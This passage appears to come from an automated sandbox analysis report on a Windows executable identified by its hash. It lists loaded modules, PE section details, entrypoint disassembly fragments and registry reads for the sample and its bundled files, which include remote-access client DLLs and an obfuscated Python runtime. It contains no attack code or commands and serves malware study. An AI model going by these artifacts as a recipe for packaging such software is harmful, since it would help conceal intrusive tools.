"%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MICROSOFT.APPV.APPVCLIENTCOMCONSUMER\V4.0_10.0.0.0__31BF3856AD364E35\MICROSOFT.APPV.APPVCLIENTCOMCONSUMER.DLL" at base 7ff9f6ab0000 "powershell.exe" loaded module "OLEAUT32" at base 7ffa22690000 "powershell.exe" loaded module "API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0.DLL" at base 7ffa21830000 "powershell.exe" loaded module "MSVCRT.DLL" at base 7ffa22260000 "powershell.exe" loaded module "MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.UNMANAGED.DLL" at base 7ffa0b240000 "powershell.exe" loaded module "MI.DLL" at base 7ffa17430000 "powershell.exe" loaded module "API-MS-WIN-SECURITY-BASE-L1-1-0.DLL" at base 7ffa21830000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WMIDCOM.DLL" at base 7ffa17330000 "powershell.exe" loaded module "GDI32.DLL" at base 7ffa22760000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 7ffa21830000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 7ffa13900000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7ffa130c0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 7ffa21830000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 7ffa21830000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 7ffa13180000 "powershell.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL" at base 7ffa22860000 "powershell.exe" loaded module "API-MS-WIN-CORE-HANDLE-L1-1-0.DLL" at base 7ffa2183000057:T661,"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" was detected as "Microsoft Linker" and name: "Linker" "libcrypto-3.dll" was detected as "Microsoft Linker" and name: "Linker" "sqlite3.dll" was detected as "Microsoft Linker" and name: "Linker" "libssl-3.dll" was detected as "Microsoft Linker" and name: "Linker" "vcruntime140.dll" was detected as "Microsoft Linker" and name: "Linker" "msedgewebview.exe" was detected as "Microsoft Linker" and name: "Linker" "python.exe" was detected as "Microsoft Linker" and name: "Linker" "pythonw.exe" was detected as "Microsoft Linker" and name: "Linker" "remcmdstub.exe" was detected as "Microsoft Linker" and name: "Linker" "python3.dll" was detected as "Microsoft Linker" and name: "Linker" "vcruntime140_1.dll" was detected as "Microsoft Linker" and name: "Linker" "pcicapi.dll" was detected as "Microsoft Linker" and name: "Linker" "PCICL32.DLL" was detected as "Microsoft Linker" and name: "Linker" "unicodedata.pyd" was detected as "Microsoft Linker" and name: "Linker" "pyarmor_runtime.pyd" was detected as "Microsoft Linker" and name: "Linker" "TCCTL32.DLL" was detected as "Microsoft Linker" and name: "Linker" "HTCTL32.DLL" was detected as "Microsoft Linker" and name: "Linker" "_decimal.pyd" was detected as "Microsoft Linker" and name: "Linker" "pyexpat.pyd" was detected as "Microsoft Linker" and name: "Linker" "_ssl.pyd" was detected as "Microsoft Linker" and name: "Linker" "_lzma.pyd" was detected as "Microsoft Linker" and name: "Linker" "_elementtree.pyd" was detected as "Microsoft Linker" and name: "Linker"58:Tb18,"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" touched "Computer" (Path: "HKCU\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" touched "Shortcut" (Path: "HKCU\WOW6432NODE\CLSID\{00021401-0000-0000-C000-000000000046}") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\WOW6432NODE\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" touched "Property System Both Class Factory" (Path: "HKCU\WOW6432NODE\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" touched "Security Manager" (Path: "HKCU\WOW6432NODE\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" touched "Start Menu Cache" (Path: "HKCU\WOW6432NODE\CLSID\{660B90C8-73A9-4B58-8CAE-355B7F55341B}\TREATAS") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" touched "TaskScheduler class" (Path: "HKCU\WOW6432NODE\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\TREATAS") "powershell.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}") "powershell.exe" touched "Microsoft WBEM Call Context" (Path: "HKCU\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}") "powershell.exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKCU\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}") "powershell.exe" touched "NDP SymBinder" (Path: "HKCU\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\INPROCSERVER32") "powershell.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "powershell.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSinkEx" (Path: "HKCU\CLSID\{00B8308C-09F2-4C18-A7B0-4594D6B22EFE}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSink" (Path: "HKCU\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\TREATAS")59:T5ca,"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "libcrypto-3.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "sqlite3.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "libssl-3.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "vcruntime140.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "msedgewebview.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "python.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "pythonw.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "python3.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "vcruntime140_1.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "pcicapi.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "PCICL32.DLL" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "unicodedata.pyd" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "TCCTL32.DLL" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "HTCTL32.DLL" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "_decimal.pyd" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "pyexpat.pyd" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "_ssl.pyd" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "_lzma.pyd" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "_elementtree.pyd" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG"5a:T51c,"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" has an executable section named ".text" "libcrypto-3.dll" has an executable section named ".text" "sqlite3.dll" has an executable section named ".text" "libssl-3.dll" has an executable section named ".text" "vcruntime140.dll" has an executable section named ".text" "vcruntime140.dll" has an executable section named "fothk" "msedgewebview.exe" has an executable section named ".text" "python.exe" has an executable section named ".text" "pythonw.exe" has an executable section named ".text" "remcmdstub.exe" has an executable section named ".text" "vcruntime140_1.dll" has an executable section named ".text" "pcicapi.dll" has an executable section named ".text" "PCICL32.DLL" has an executable section named ".text" "unicodedata.pyd" has an executable section named ".text" "pyarmor_runtime.pyd" has an executable section named ".text" "TCCTL32.DLL" has an executable section named ".text" "HTCTL32.DLL" has an executable section named ".text" "_decimal.pyd" has an executable section named ".text" "pyexpat.pyd" has an executable section named ".text" "_ssl.pyd" has an executable section named ".text" "_lzma.pyd" has an executable section named ".text" "_elementtree.pyd" has an executable section named ".text"5b:T61a,"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" has an writable section named ".rdata" "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" has an writable section named ".data" "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" has an writable section named ".fptable" "libcrypto-3.dll" has an writable section named ".data" "sqlite3.dll" has an writable section named ".data" "libssl-3.dll" has an writable section named ".data" "vcruntime140.dll" has an writable section named ".data" "python.exe" has an writable section named ".data" "pythonw.exe" has an writable section named ".data" "remcmdstub.exe" has an writable section named ".data" "vcruntime140_1.dll" has an writable section named ".data" "pcicapi.dll" has an writable section named ".data" "PCICL32.DLL" has an writable section named ".data" "PCICL32.DLL" has an writable section named ".tls" "PCICL32.DLL" has an writable section named ".hhshare" "unicodedata.pyd" has an writable section named ".data" "pyarmor_runtime.pyd" has an writable section named ".data" "pyarmor_runtime.pyd" has an writable section named ".bss" "pyarmor_runtime.pyd" has an writable section named ".idata" "pyarmor_runtime.pyd" has an writable section named ".CRT" "pyarmor_runtime.pyd" has an writable section named ".tls" "TCCTL32.DLL" has an writable section named ".data" "HTCTL32.DLL" has an writable section named ".data" "_decimal.pyd" has an writable section named ".data" "pyexpat.pyd" has an writable section named ".data"5c:T2d68,"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" file has an entrypoint instructions - "call 0x41b8f0,jmp 0x41b580,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,ret 0,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,cmp ecx, dword ptr [0x43d880],jne 0x41b799,ret ,jmp 0x41bac0,int3 ,int3 ,mov eax, 1,ret ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,xor eax, eax,cmp dword ptr [0x43eca8], eax,setne al,ret ,int3 ,int3 ,int3 ,int3 ,push ebp,mov ebp, esp,mov ecx, dword ptr [ebp + 8],int 0x29,pop ebp,ret ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,push ebp,mov ebp, esp," "libcrypto-3.dll" file has an entrypoint instructions - "jmp 0x18036c4c8,jmp 0x1801ed120,jmp 0x18018f8e0,jmp 0x18021dd10,jmp 0x1802e9a10,jmp 0x1802bac50,jmp 0x18029c940,jmp 0x1802849c0,jmp 0x1800b30a0,jmp 0x1802edf50,jmp 0x1802722d0,jmp 0x1802467c0,jmp 0x18022c9c0,jmp 0x18022df70,jmp 0x18035d120,jmp 0x1800efa40,jmp 0x180294de0,jmp 0x18019b090,jmp 0x1801ec450,jmp 0x180210340," "sqlite3.dll" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x18013be65,call 0x18013be84,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x18013bd1c,int3 ,int3 ,int3 ,mov qword ptr [rsp + 0x18], rbx,push rbp,mov rbp, rsp,sub rsp, 0x30,mov rax, qword ptr [rip + 0x31168],movabs rbx, 0x2b992ddfa232,cmp rax, rbx,jne 0x18013bf1e," "libssl-3.dll" file has an entrypoint instructions - "jmp 0x18007ea68,jmp 0x18001e370,jmp 0x180023fa0,jmp 0x1800095a0,jmp 0x180065a60,jmp 0x18002fb40,jmp 0x18007f458,jmp 0x180074d20,jmp 0x180012190,jmp 0x1800290c0,jmp 0x180037f70,jmp 0x18002d410,jmp 0x18001b6a0,jmp 0x180051e80,jmp 0x180024e70,jmp 0x180066390,jmp 0x18006e5c0,jmp 0x180013be0,jmp 0x18007f570,jmp 0x1800540b0," "vcruntime140.dll" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x18000f6b1,call 0x180010d5c,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x18000f618,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,nop word ptr [rax + rax],int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,nop word ptr [rax + rax],int3 ,int3 ,int3 ,int3 ," "msedgewebview.exe" file has an entrypoint instructions - "push ebp,mov ebp, esp,sub esp, 0x44,push esi,call dword ptr [0x402000],mov esi, eax,cmp word ptr [esi], 0x22,jne 0x4010b0,movzx eax, word ptr [esi + 2],add esi, 2,test ax, ax,je 0x401053,cmp ax, 0x22,je 0x401059,movzx eax, word ptr [esi + 2],add esi, 2,test ax, ax,jne 0x401041,cmp word ptr [esi], 0x22,jne 0x40105c,add esi, 2,movzx eax, word ptr [esi],test ax, ax,je 0x401076,cmp ax, 0x20,ja 0x401076,movzx eax, word ptr [esi + 2],add esi, 2,test ax, ax,jne 0x401064,lea eax, [ebp - 0x44],push eax,mov dword ptr [ebp - 0x18], 0," "python.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x140001670,add rsp, 0x28,jmp 0x140001124,int3 ,int3 ,push rbx,sub rsp, 0x20,mov rbx, rcx,xor ecx, ecx,call qword ptr [rip + 0xd6b],mov rcx, rbx,call qword ptr [rip + 0xd6a],call qword ptr [rip + 0xd54],mov rcx, rax,mov edx, 0xc0000409,add rsp, 0x20,pop rbx,jmp qword ptr [rip + 0xd38],mov qword ptr [rsp + 8], rcx,sub rsp, 0x38,mov ecx, 0x17,call qword ptr [rip + 0xd1c],test eax, eax,je 0x140001307," "pythonw.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x140001688,add rsp, 0x28,jmp 0x140001144,int3 ,int3 ,push rbx,sub rsp, 0x20,mov rbx, rcx,xor ecx, ecx,call qword ptr [rip + 0xd5b],mov rcx, rbx,call qword ptr [rip + 0xd5a],call qword ptr [rip + 0xd44],mov rcx, rax,mov edx, 0xc0000409,add rsp, 0x20,pop rbx,jmp qword ptr [rip + 0xd28],mov qword ptr [rsp + 8], rcx,sub rsp, 0x38,mov ecx, 0x17,call qword ptr [rip + 0xd0c],test eax, eax,je 0x14000131f," "remcmdstub.exe" file has an entrypoint instructions - "call 0x405923,jmp 0x402053,sub eax, 0x3a4,je 0x4021e7,sub eax, 4,je 0x4021e1,sub eax, 0xd,je 0x4021db,dec eax,je 0x4021d5,xor eax, eax,ret ,mov eax, 0x404,ret ,mov eax, 0x412,ret ,mov eax, 0x804,ret ,mov eax, 0x411,ret ,mov edi, edi,push esi,push edi,mov esi, eax,push 0x101,xor edi, edi,lea eax, [esi + 0x1c],push edi,push eax,call 0x401fb0,xor eax, eax,movzx ecx, ax,mov eax, ecx,mov dword ptr [esi + 4], edi,mov dword ptr [esi + 8], edi,mov dword ptr [esi + 0xc], edi,shl ecx, 0x10," "python3.dll" file has an entrypoint instructions - "pop r10,nop ,add byte ptr [rbx], al,add byte ptr [rax], al,add byte ptr [rax + rax], al,add byte ptr [rax], al," "vcruntime140_1.dll" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x1800040c1,call 0x18000467c,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x180004030,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,nop word ptr [rax + rax],sub rsp, 0x28,mov qword ptr [rsp + 0x30], rcx,mov qword ptr [rsp + 0x38], rdx,mov dword ptr [rsp + 0x40], r8d," "pcicapi.dll" file has an entrypoint instructions - "mov edi, edi,push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x10003cc6,call 0x100040de,push dword ptr [ebp + 8],mov ecx, dword ptr [ebp + 0x10],mov edx, dword ptr [ebp + 0xc],call 0x10003ba0,pop ecx,pop ebp,ret 0xc,mov edi, edi,push ebp,mov ebp, esp,sub esp, 0x328,mov dword ptr [0x10006360], eax,mov dword ptr [0x1000635c], ecx,mov dword ptr [0x10006358], edx,mov dword ptr [0x10006354], ebx,mov dword ptr [0x10006350], esi,mov dword ptr [0x1000634c], edi,mov word ptr [0x10006378], ss,mov word ptr [0x1000636c], cs," "PCICL32.DLL" file has an entrypoint instructions - "mov edi, edi,push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x1116971d,call 0x11177075,push dword ptr [ebp + 8],mov ecx, dword ptr [ebp + 0x10],mov edx, dword ptr [ebp + 0xc],call 0x11169617,pop ecx,pop ebp,ret 0xc,mov edi, edi,push ebp,mov ebp, esp,sub esp, 0x10,mov eax, dword ptr [0x111eb774],xor eax, ebp,mov dword ptr [ebp - 4], eax,mov edx, dword ptr [ebp + 0x18],push ebx,xor ebx, ebx,push esi,push edi,cmp edx, ebx,jle 0x1116976d,mov eax, dword ptr [ebp + 0x14],mov ecx, edx,dec ecx,cmp byte ptr [eax], bl,je 0x11169760,inc eax,cmp ecx, ebx,jne 0x11169753,or ecx, 0xffffffff,mov eax, edx,sub eax, ecx,dec eax,cmp eax, edx,jge 0x1116976a,inc eax,mov dword ptr [ebp + 0x18], eax,mov dword ptr [ebp - 8], ebx," "unicodedata.pyd" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x180002c55,call 0x180002df0,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x180002b0c,int3 ,int3 ,int3 ,push rbx,sub rsp, 0x20,mov rbx, rcx,xor ecx, ecx,call qword ptr [rip + 0x33d3],mov rcx, rbx,call qword ptr [rip + 0x33d2],call qword ptr [rip + 0x33bc],mov rcx, rax," "pyarmor_runtime.pyd" file has an entrypoint instructions - "sub rsp, 0x48,mov rax, qword ptr [rip + 0x92b85],cmp edx, 1,mov dword ptr [rax], 0,je 0x70181350,add rsp, 0x48,jmp 0x70181200,nop ,mov qword ptr [rsp + 0x38], r8,mov dword ptr [rsp + 0x34], edx,mov qword ptr [rsp + 0x28], rcx,call 0x70201550,call 0x70201e70,mov r8, qword ptr [rsp + 0x38],mov edx, dword ptr [rsp + 0x34],mov rcx, qword ptr [rsp + 0x28],add rsp, 0x48,jmp 0x70181200,nop ,mov rdx, rcx,lea rcx, [rip + 0x9ac76],jmp 0x70202db0,nop ,push rbp,mov rbp, rsp," "TCCTL32.DLL" file has an entrypoint instructions - "mov edi, edi,push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x1017db07,call 0x1018741e,push dword ptr [ebp + 8],mov ecx, dword ptr [ebp + 0x10],mov edx, dword ptr [ebp + 0xc],call 0x1017da01,pop ecx,pop ebp,ret 0xc,sub eax, 0x3a4,je 0x1017db43,sub eax, 4,je 0x1017db3d,sub eax, 0xd,je 0x1017db37,dec eax,je 0x1017db31,xor eax, eax,ret ,mov eax, 0x404,ret ,mov eax, 0x412,ret ,mov eax, 0x804,ret ,mov eax, 0x411,ret ,mov edi, edi,push esi,push edi,mov esi, eax,push 0x101,xor edi, edi,lea eax, [esi + 0x1c],push edi,push eax," "HTCTL32.DLL" file has an entrypoint instructions - "mov edi, edi,push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x101d5af6,call 0x101df28f,push dword ptr [ebp + 8],mov ecx, dword ptr [ebp + 0x10],mov edx, dword ptr [ebp + 0xc],call 0x101d59f0,pop ecx,pop ebp,ret 0xc,mov edi, edi,push ebp,mov ebp, esp,push 0x101f33b8,call dword ptr [0x101f01c0],test eax, eax,je 0x101d5b32,push 0x101f33a8,push eax,call dword ptr [0x101f0088],test eax, eax,je 0x101d5b32,push dword ptr [ebp + 8],call eax,pop ebp,ret ,mov edi, edi,push ebp,mov ebp, esp,push dword ptr [ebp + 8],call 0x101d5b09,pop ecx,push dword ptr [ebp + 8]," "_decimal.pyd" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x180021eb1,call 0x180021ed0,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x180021d68,int3 ,int3 ,int3 ,mov qword ptr [rsp + 0x18], rbx,push rbp,mov rbp, rsp,sub rsp, 0x30,mov rax, qword ptr [rip + 0x1d11c],movabs rbx, 0x2b992ddfa232,cmp rax, rbx,jne 0x180021f6a," "pyexpat.pyd" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x180010f65,call 0x180011100,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x180010e1c,int3 ,int3 ,int3 ,push rbx,sub rsp, 0x20,mov rbx, rcx,xor ecx, ecx,call qword ptr [rip + 0x140d3],mov rcx, rbx,call qword ptr [rip + 0x14082],call qword ptr [rip + 0x140bc],mov rcx, rax," "_ssl.pyd" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x180002ee5,call 0x180002f04,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x180002d9c,int3 ,int3 ,int3 ,mov qword ptr [rsp + 0x18], rbx,push rbp,mov rbp, rsp,sub rsp, 0x30,mov rax, qword ptr [rip + 0x1d0e8],movabs rbx, 0x2b992ddfa232,cmp rax, rbx,jne 0x180002f9e," "_lzma.pyd" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x180013085,call 0x180013220,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x180012f3c,int3 ,int3 ,int3 ,push rbx,sub rsp, 0x20,mov rbx, rcx,xor ecx, ecx,call qword ptr [rip + 0x3fab],mov rcx, rbx,call qword ptr [rip + 0x3faa],call qword ptr [rip + 0x3f94],mov rcx, rax," "_elementtree.pyd" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x180008785,call 0x180008920,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x18000863c,int3 ,int3 ,int3 ,push rbx,sub rsp, 0x20,mov rbx, rcx,xor ecx, ecx,call qword ptr [rip + 0xc873],mov rcx, rbx,call qword ptr [rip + 0xc862],call qword ptr [rip + 0xc8a4],mov rcx, rax,"5d:T599,"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL\USER PROFILE"; Key: "LANGUAGES") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL\GEO"; Key: "NATION") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "pythonw.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "pythonw.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "SYEARMONTH") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "LOCALENAME") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US")5e:T1012,Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00003580-00000C2B-610622467] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00003580-00000C2B-610880322] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00003640-00000C2B-560034956] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00003640-00000C2B-560147402] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\6078762b90671c2ff9ba39318e2176d8\mscorlib.ni.dll" [Source: 00000000-00003640-00000C2B-560461220] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00003640-00000C2B-560520209] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00003640-00000C2B-560576593] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00003640-00000C2B-560629334] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll" [Source: 00000000-00003640-00000C2B-560741565] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00003640-00000C2B-560767196] Observed system executable 